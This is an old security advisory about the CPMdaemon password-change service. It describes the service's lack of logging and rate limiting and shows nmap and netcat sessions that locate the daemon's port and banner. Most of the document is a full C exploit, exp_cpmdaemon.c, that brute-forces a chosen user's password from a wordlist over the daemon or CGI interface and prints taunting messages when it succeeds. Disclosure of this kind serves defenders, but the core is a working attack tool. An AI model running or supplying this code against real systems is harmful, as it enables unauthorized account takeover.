COMMAND

    CPMdaemon

SYSTEMS AFFECTED

    CPMdaemon

PROBLEM

    El Nahual  (Enrique Alfonso  Sanchez Montellano)  found following.
    cpmdaemon is  a program  that runs  as a  daemon or  a cgi  (altho
    daemon is recomended on the  README file), allowing the change  of
    passwords, some accounts  have been restricted  by the program  so
    no  unauthorized  access  can  be  gained  ro priviledged accounts
    (root,  bin,  daemon,  adm,  sql,  lp, sync, shutdown, halt, mail,
    news, uucp, operator, games, gopher, ftp, nobody, xfs,samba,  gdm,
    postgres, squid). Is a fast and very articulate program.  Must  be
    suid with owner and group root. It can be called as a cgi, calling
    the cgi then connecting to the port already defined.

    The way to change the password is login:oldpasswd*newpassword#

    cpmdaemon has ben coded and  in the readme file favors  the daemon
    calling of  the program  so you  can also  connect and then change
    the password.

    cpmdaemon has no  logging at all,  is true that  only localhost is
    able to change passwords by  default, but being a remote  password
    administration shurely more hosts  will be added (trusted  hosts),
    anyway  even  if  localhost  is  only  implemented local users can
    start de daemon and do abrute force on any other user account.  If
    runned from within the host (/var/lib/apache/cgi-bin/cpmdaemon.cgi
    on slackware for example) it becomes a true daemon (actually  this
    is recommended  by the  README file  by adding  it on the rc.local
    file). If its called as a cgi then should be suid root wich is not
    safe at all but at least only lets one try at the time.

    There is  no defined  port for  the application  but finding it is
    trivial:

        nahual:~/projects/Check/Vulnerable/cpmdaemon# nmap -sS -p 1-9000 localhost
        
        Starting nmap V. 2.3BETA12 by Fyodor (fyodor@dhp.com, www.insecure.org/nmap/)
        Interesting ports on localhost (127.0.0.1):
        Port    State       Protocol  Service
        21      open        tcp       ftp
        22      open        tcp       ssh
        23      open        tcp       telnet
        25      open        tcp       smtp
        37      open        tcp       time
        79      open        tcp       finger
        80      open        tcp       http
        110     open        tcp       pop-3
        111     open        tcp       sunrpc
        113     open        tcp       auth
        515     open        tcp       printer
        712     open        tcp       unknown
        2049    open        tcp       nfs
        6000    open        tcp       X11
        8080    open        tcp       http-proxy
        
        Nmap run completed -- 1 IP address (1 host up) scanned in 9 seconds
        nahual:~/projects/Check/Vulnerable/cpmdaemon# nc -vv localhost 80
        localhost [127.0.0.1] 80 (www) open
        GET /cgi-bin/cpmdaemon.cgi HTTP/1.0
         sent 37, rcvd 0
        nahual:~/projects/Check/Vulnerable/cpmdaemon# nmap -sS -p 1-9000 localhost
        
        Starting nmap V. 2.3BETA12 by Fyodor (fyodor@dhp.com, www.insecure.org/nmap/)
        Interesting ports on localhost (127.0.0.1):
        Port    State       Protocol  Service
        21      open        tcp       ftp
        22      open        tcp       ssh
        23      open        tcp       telnet
        25      open        tcp       smtp
        37      open        tcp       time
        79      open        tcp       finger
        80      open        tcp       http
        110     open        tcp       pop-3
        111     open        tcp       sunrpc
        113     open        tcp       auth
        515     open        tcp       printer
        712     open        tcp       unknown
        2049    open        tcp       nfs
        6000    open        tcp       X11
        8080    open        tcp       http-proxy
        8088    open        tcp       unknown
        
        Nmap run completed -- 1 IP address (1 host up) scanned in 10 seconds
        nahual:~/projects/Check/Vulnerable/cpmdaemon# nc -vv localhost 8088
        localhost [127.0.0.1] 8088 (?) open
        CPM Daemon Manager
         sent 0, rcvd 19
        nahual:~/projects/Check/Vulnerable/cpmdaemon#

    Anyway we can  see how the  port 8088 wasn't  there before calling
    the cgi  so we  can assume  that is  the port  the daemon has been
    defined to run, also it has a very distinctive banner: "CPM Daemon
    Manager",  same  password  as  before  is  also  allowed  so  true
    bruteforcing can be done stealthly:

        nahual:~# nc -vv localhost 8088
        localhost [127.0.0.1] 8088 (?) open
        CPM Daemon Manager
        nahual:notmypasswd*notmypasswd#
        Password Changed
         sent 32, rcvd 36
        nahual:~# telnet localhost
        Trying 127.0.0.1...
        Connected to localhost.
        Escape character is '^]'.
        
        
        
                  ###                 ###
                   ##                  ##
            ####   ##   ####    ####   ##  ### ###        ### ####   ### ###   ####
           ##      ##      ##  ##      ## ##    ##   ##   ##     ##   ###  ## ##  ##
            ###    ##   #####  ##      ####      ## #### ##   #####   ##      ######
              ##   ##  ##  ##  ##      ## ##      ###  ###   ##  ##   ##      ##
        |  ####   ####  ######  ####  ###  ###    ##    ##    ######  ##       #####
        |
        +------------------------------------------ l  i  n  u  x
        
        
        nahual login: nahual
        Password:
        Linux 2.2.13.
        No mail.
        
        Any philosophy that can be put in a nutshell belongs there.
                        -- Sydney J. Harris
        
        nahual:~$

    Proof of concept code can be also found in www.s0d.org section  of
    our programs and on advisories:

    /*
      exp_cpmdaemon.c
    -----------------------
    BY COMPILING THIS PROGRAM YOU HEREBY DECLINE ALL LEGAL AND CIVIL RESPONSABILITY TO THE AUTHOR(S), IF YOU DO NOT COMPLY WITH THIS YOU ARE HEREBY BINDED TO SECURELY ERASE THIS SOURCE.
    
    THIS PROGRAM IS PROOF OF CONCEPT AND FOR EDUCATIONAL PURPOSES ONLY.
    -----------------------
    
    Description:
    
      Program to bruteforce passwords on this little daemon ...
    
      Compile with:
    
         gcc -Wall -o exp-cpmdaemon exp-cpmdaemon.c
    
      or if you want debug gcc:
    
         gcc -Wall -DDEBUG -o exp-cpmdaemon exp-cpmdaemon.c
    
    Authors:
    
      El Nahual
      "int main(void) { write(1, "Tha s0d owns me biatch!", 23); return 0; }"
    
      0x90
      "The louder the music the better the code!"
    */
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <string.h>
    #include <netdb.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <sys/wait.h>
    #include <sys/stat.h>
    #include <sys/time.h>
    #include <netinet/in.h>
    #include <netdb.h>
    #include <fcntl.h>
    #include <time.h>
    #include <wait.h>
    #include <errno.h>
    
    #define GOTIT        "Changed"
    #define KEEPTRYING   "Invalid"
    
    /* Definicion de colores */
    #define VERDE   "\E[32m"
    #define BRILLOSO   "\E[1m"
    #define NORMAL  "\E[m"
    #define ROJO  "\E[31m"
    #define CELESTE "\E[36m"
    #define AZUL "\E[34m"
    #define AMARILLO "\E[33m"
    #define MORADO "\E[35m"
    
    void usage(char *nombre) {
      printf("%sUsage: %s%s -[dc] -p <port> -l <login> -h <vicitm> \n", ROJO, AMARILLO,nombre);
      printf("%sd:Daemon mode \n", CELESTE);
      printf("l: login name to bruteforce\n");
      printf("h: host to attack \n");
      printf("c: cgi mode %s\n", NORMAL);
      printf("%s.o0{ Passwords should in a file called passwds.s0d }0o.%s\n", AMARILLO, NORMAL);
    }
    
    unsigned long resolver (char *serv) {
      struct sockaddr_in sinn;
      struct hostent *hent;
    
      hent = gethostbyname (serv);
    
      bzero ((char *) &sinn, sizeof (sinn));
    
      memcpy ((char *) &sinn.sin_addr, hent->h_addr, hent->h_length);
    
      return sinn.sin_addr.s_addr;
    }
    
    
    int connex(int victim, int port) {
      int sockfd;
      struct sockaddr_in hostaddr;
    
      if((sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
        perror("connex");
        exit(-1);
      }
    
      hostaddr.sin_port = htons(port);
      hostaddr.sin_addr.s_addr = victim;
      hostaddr.sin_family = AF_INET;
    
      if((connect(sockfd, (struct sockaddr *) &hostaddr, sizeof(hostaddr))) < 0 ) {
        perror("connex");
        exit(-1);
      }
    
      return sockfd;
    }
    
    
    /*
      The difference between the daemon and the cgi is the calling of the cgi everytime
    */
    
    int daemon_attack(int victim, char *login, char *passwd, int port) {
      int sockfd, retval, i;
      fd_set rfds;
      struct timeval timer;
      char attack[1024], tmp[255];
    
      for(i = 0; i < 1024; i++)
        attack[i] = '\0';
    
      for(i = 0; i < 255; i++)
        tmp[i] = '\0';
    
      /* Ensambling attack */
    
      strcat(attack, login);
      strcat(attack, ":");
      strcat(attack, passwd);
      strcat(attack, "*");
      strcat(attack, passwd);
      strcat(attack, "#");
      strcat(attack, "\n");
    
    #ifdef DEBUG
      printf("Trying login %s with password %s \n", login, passwd);
    #endif
    
      sockfd = connex(victim, port);
      FD_ZERO(&rfds);
      FD_SET(sockfd, &rfds);
      timer.tv_sec = 5;
      timer.tv_usec = 0;
    
      retval = select(sockfd + 1, NULL, &rfds, NULL, &timer);
    
      if(retval) {
        read(sockfd, tmp, sizeof(tmp));
        if(strncmp(tmp, "CPM Daemon Manager", 18) == 0) {
          write(sockfd, attack, strlen(attack));
          read(sockfd, tmp, sizeof(tmp));
          if(strstr(tmp, "Changed") != NULL) {
	    printf("\t%s----------------------------------------\n", VERDE);
	    printf("\t%sUser %s%s%s has passwd %s%s%s %s\n", VERDE, CELESTE, login, VERDE, CELESTE, passwd, VERDE, NORMAL);
	    printf("\t%sTha s0d crew owns you biatch!!!!!!%s\n", VERDE, NORMAL);
	    printf("\t%s----------------------------------------%s\n", VERDE, NORMAL);
	    return 0;
          }
          else {
    
    #ifdef DEBUG
	    printf("%s\n", tmp);
    #endif
	    return 1;
          }
        }
        else {
          printf("Doh! this is not the CPM Daemon manager!\n");
          exit(0);
        }
      }
      else {
        printf("Timeout! \n");
        exit(0);
      }
    
      return 0;
    }
    
    int cgi_attack(int victim, char *login, char *passwd, int port) {
      char call_cgi[255] = "GET /cgi-bin/cpmdaemon.cgi HTTP/1.0 \r\n\r\n";
      int sockfd, retval, i;
      fd_set rfds;
      struct timeval timer;
      char attack[1024], tmp[255];
    
      for(i = 0; i < 1024; i++)
        attack[i] = '\0';
    
      for(i = 0; i < 255; i++)
        tmp[i] = '\0';
    
      /* Ensambling attack */
    
      strcat(attack, login);
      strcat(attack, ":");
      strcat(attack, passwd);
      strcat(attack, "*");
      strcat(attack, passwd);
      strcat(attack, "#");
      strcat(attack, "\n");
    
    #ifdef DEBUG
      printf("attack's value is: %s \n", attack);
    #endif
    
      /* calling the cgi */
    
      sockfd = connex(victim, 80);
      FD_ZERO(&rfds);
      FD_SET(sockfd, &rfds);
      timer.tv_sec = 5;
      timer.tv_usec = 0;
    
      retval = select(sockfd + 1, NULL, &rfds, NULL, &timer);
    
      if(retval) {
    #ifdef DEBUG
        printf("calling the cgi with %s", call_cgi);
    #endif
        write(sockfd, call_cgi, strlen(call_cgi));
      }
      else {
        printf("TIMEOUT!\n");
        exit(-1);
      }
    
      close(sockfd);
    
      /* doing the attack on the pseudodaemon */
    
    #ifdef DEBUG
      printf("Connecting with login %s and passwd %s \n", login, passwd);
    #endif
    
      sockfd = connex(victim, port);
      FD_ZERO(&rfds);
      FD_SET(sockfd, &rfds);
      timer.tv_sec = 5;
      timer.tv_usec = 0;
    
      retval = select(sockfd + 1, NULL, &rfds, NULL, &timer);
    
      if(retval) {
        read(sockfd, tmp, sizeof(tmp));
        if(strncmp(tmp, "CPM Daemon Manager", 18) == 0) {
          write(sockfd, attack, strlen(attack));
          read(sockfd, tmp, sizeof(tmp));
          if(strstr(tmp, "Changed") != NULL) {
	    printf("%sUser %s has passwd %s %s\n", CELESTE, login, passwd, NORMAL);
	    return 0;
          }
          else {
    #ifdef DEBUG
	    printf("%s\n", tmp);
    #endif
	    return 1;
          }
        }
        else {
          printf("Doh! this is not the CPM Daemon manager!\n");
          exit(0);
        }
      }
      else {
        printf("Timeout! \n");
        exit(0);
      }
    
      return 0;
    }
    
    void header(void) {
      printf("%s\t\t\texp_cpmdaemon\n", ROJO);
      printf("\t----------------------------------------------\n");
      printf("%s\t     by El Nahual and 0x90 of tha s0d crew\n", AMARILLO);
      printf("\t\ts0d crew owns you biatch!\n");
      printf("%s\t----------------------------------------------%s\n\n", ROJO, NORMAL);
    }
    
    int main(int argc, char **argv) {
      char ch;
      int counter = 1, port, i;
      char *login, *server, tmp[255];
      char daemon = 0;   //Daemon enabled by default
      FILE *inFile;
    
      if(argc != 8) {
        usage(argv[0]);
        exit(0);
      }
    
    
      for(i = 0; i < 255; i++)
        tmp[255] = '\0';
    
      while((ch = getopt(argc, argv, "h:,l:,dc,p:")) != EOF) {
        counter++;
        switch(ch) {
        case 'h':
          server = argv[counter + 1];
          break;
        case 'l':
          login = argv[counter];
          break;
        case 'd':
          daemon = 0;
          break;
        case 'c':
          daemon = 1;
          break;
        case 'p':
          port = atoi(argv[counter + 2]);
          break;
        default:
          usage(argv[0]);
          exit(0);
          break;
        }
      }
    
      header();
    
      if((inFile = fopen("passwds.s0d", "r")) == NULL) {
        perror("exp_cpmdaemon.c");
        exit(-1);
      }
    
      (void)fseek(inFile, 0, SEEK_SET);
    
      while(fgets(tmp, 255, inFile) != NULL) {
    
        if(tmp[strlen(tmp) - 1] == '\n')
          tmp[strlen(tmp) - 1] = '\0';
    
        if(daemon == 0) {
          daemon_attack(resolver(server), login, tmp, port);
        }
        else {
          cgi_attack(resolver(server), login, tmp, port);
        }
    
      }
      return 0;
    }

SOLUTION

    Nothing yet.